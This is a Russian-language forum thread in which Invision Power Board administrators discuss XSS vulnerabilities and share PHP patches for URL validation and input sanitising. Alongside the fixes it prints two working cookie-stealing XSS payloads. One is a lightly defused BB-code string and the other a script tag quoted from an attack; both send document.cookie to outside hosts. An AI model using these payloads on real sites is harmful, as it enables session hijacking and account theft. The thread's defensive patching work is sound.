Перейти к контенту

Уязвимости форумов Invision Power Board


Рекомендуемые сообщения

  • Ответы 1,2k
  • Создана
  • Последний ответ

Лучшие авторы в этой теме

Лучшие авторы в этой теме

Загружено фотографий

Добавь. Там приводится к целому виду параметр в котором может быть XSS видимо.
Ссылка на комментарий
Поделиться на других сайтах

pikachu

 

Чтобы ответить на твой вопрос нужно знать, что за уязвимость закрывалась этим исправлением. Ну а мы (я точно) не знаем, поэтому не можем сказать, эффективно ли вообще это исправление, для каких версий оно нужно и нужно ли вообще.

Если ты поставишь заплатку на 2.0.х, она тебе ничем не навредит. Поэтому хочешь для пущей уверенности поставить - ставь. Я на своём форуме выложил для 2.1.x, 2.0.x, 1.x

потому как куски для замены есть во всех 3-х версиях.

Если вдруг найдёшь описание сплойта, подгони его сюда, тогда будет всё ясно.

 

IBresource же не волен самому себе публиковать то, что он считает нужным. Поэтому в официальном релизе уязвимости от IBresource появилось испоавление только для 2.1.х, потому как так оно было донесено до нас компанией IPS. Если IPS найдёт, что данная уязвимости и для прошлых версий опасна значит, видимо выложат исправления и для них (а может и забьют, т.к. последнаяя активная версия их группы 2.1, а значит видимо они предполагают, что все их клиенты на самой последней версии, а значит возможно думают, что для 2.0 не нужно уже беспокоиться).

Ссылка на комментарий
Поделиться на других сайтах

вот и причина...

 

23 июня, 2006

Программа: Invision Power Board 2.1.6, возможно более ранние версии.

 

Опасность: Низкая

 

Описание:

Уязвимость позволяет удаленному пользователю произвести XSS нападение.

 

Уязвимость существует из-за недостаточной обработки входных данных, передаваемых в шестнадцатеричных эквивалентах HTML элементов. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Ссылка на комментарий
Поделиться на других сайтах

Song

Ну это очевидно что фиксят они вот это (*-добавлены намерено т.е. они не нужны)

[po*st=1000[to*pic=target style=background:url(java script:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

Кстати вспомним нашу тему "Басни о куках" вот как раз ))

 

Anna

Моем имхо там два похожих куска раница только в наличии или отсутсвии опций у BB-тега. Т.е. нужно и там и там фиксить.

 

Кстати по поводу тегов TOPIC и POST давно уже было предложено удалить х вообще. Это былоп редложено на тот момент пока не вышел это патч )) По времени где-то полгода назад а может и еще раньше.

 

Есть еще фишки вроде не фиксеные вот:

http://www.security.nnov.ru/Ndocument113.html

http://www.security.nnov.ru/Mdocument324.html

http://www.security.nnov.ru/Mdocument504.html

Что на этот счет будем предпринимать? intva'ом давить переменые?

Ссылка на комментарий
Поделиться на других сайтах

http://www.security.nnov.ru/Ndocument113.html

токо админы могут видеть да и закрыть admin.php через .htaccess не проще?

 

http://www.security.nnov.ru/Mdocument324.html

вроде уже пофиксили всё... было уже это на форуме...

 

http://www.security.nnov.ru/Mdocument324.html

а с этим не знаю...

Ссылка на комментарий
Поделиться на других сайтах

http://www.security.nnov.ru/Ndocument113.html

по-моему, это вообще пассивная уязвимость?..

 

http://www.security.nnov.ru/Mdocument324.html

это уже заткнуто...

 

http://www.security.nnov.ru/Mdocument504.html

можно после

	if ( is_array( $id ) ) 
{

вставить

			$id = $std->clean_int_array($id);

это для 2.0.х, файл modfunction.php, функция post_delete...

для 2.1.х должно быть похоже...

Ссылка на комментарий
Поделиться на других сайтах

Ну это очевидно что фиксят они вот это (*-добавлены намерено т.е. они не нужны)

с чего вдруг? Закрывается-то амперсанд!

 

2cthulhu

 

это всё древности

Ссылка на комментарий
Поделиться на других сайтах

Родскажите я поставил бан пользователю на своем форуме но он все равно заходит и пишет что бесполезно что либо делать. Подскажите что делать.

Русская версия Invision Power Board v2.1.4

Ссылка на комментарий
Поделиться на других сайтах

привет всем,один мудак ломанул форум, в сообщении написал

 

<script>img = new Image(); img.src = "http://comp-info.ru/pic/image.......?"+document.cookie;</script

 

как исправить эту уязвимость?

Ссылка на комментарий
Поделиться на других сайтах

подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

Ссылка на комментарий
Поделиться на других сайтах

подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

я у себя сделал так:

в sources\functions.php перед

} // end class

?>

добавил

	function xss_check_url( $url )
{
	$url = trim( urldecode( $url ) );

	if ( ! preg_match( "#^https?://(?:[^<>*\"]+|[a-z0-9/\._\- !]+)$#iU", $url ) )
	{
		return FALSE;
	}
	return TRUE;
}

в sources/lib/usercp_functions.php после

		if ( preg_match( "/^http:\/\/$/i", $ibforums->input['url_photo'] ) )
	{
		$ibforums->input['url_photo'] = "";
	}

добавил

		if ( $std->xss_check_url( $ibforums->input['url_photo'] ) !== TRUE )
	{
		$ibforums->input['url_photo'] = '';
	}

и после

		if ( preg_match( "#java script:#is", $ibforums->input['url_avatar'] ) )
	{
		$ibforums->input['url_avatar'] = "";
	}

добавил

		if ( $std->xss_check_url( $ibforums->input['url_avatar'] ) !== TRUE )
	{
		$ibforums->input['url_avatar'] = '';
	}

 

в sources/lib/post_parser.php

			if (preg_match( "/javascript(\:|\s)/i", $url ))

заменил на

			if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )

дальше исправлено:

	function regex_check_image($url="")
{
	global $ibforums;

заменить на

	function regex_check_image($url="")
{
	global $ibforums, $std;

 

и после

			if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )
		{
			$this->error = 'no_dynamic';
			return $default;
		}
	}

добавил

		//-----------------------------------------
	// Check...
	//-----------------------------------------

	if ( $std->xss_check_url( $url ) !== TRUE )
	{
		$this->error = 'no_dynamic';
		return $default;
	}

 

ну и последнее, в sources/moderate.php после

					if (empty($this->topic['tid']))
				{
					$std->Error( array( 'LEVEL' => 1, 'MSG' => 'missing_files') );
				}

добавил

					if ( $std->input['f'] AND ( $this->topic['forum_id'] != $std->input['f'] ) )
				{ 
					$std->Error( array( 'LEVEL' => 1, 'MSG' => 'missing_files') );
				}

 

хотя, у меня есть некоторые сомнения в осмысленности последнего действия... :D

Ссылка на комментарий
Поделиться на других сайтах

подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

Вроде офсайт клянется, что дыра только в 21х. Но Сонг у себя давно вроде для 10х и 20х предложил решение по заделыванию этой дырки. Погляди на его сайте - там всс расписано.

Изменено пользователем -=MIF=-
Ссылка на комментарий
Поделиться на других сайтах

[/code]добавил
		//-----------------------------------------
	// Check...
	//-----------------------------------------

	if ( $std->xss_check_url( $url ) !== TRUE )
	{
		return '';
	}

после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка

 

остальное просто ломает проверять...

Ссылка на комментарий
Поделиться на других сайтах

после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка

 

остальное просто ломает проверять...

зашел, ничего не вылезло... :D

или я зашел куда-то не туда?.. какие именно объявления имеются ввиду?..

 

хотя, судя по всему, действительно лучше вместо

return '';

написать

			$this->error = 'no_dynamic';
		return $default;

ну, тип ошибки можно другой подобрать... но, по-моему, к ошибке первый вариант приводить не должен, мне просто сейчас лень смотреть, что делается с вовзращаемым значением...

Ссылка на комментарий
Поделиться на других сайтах


×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.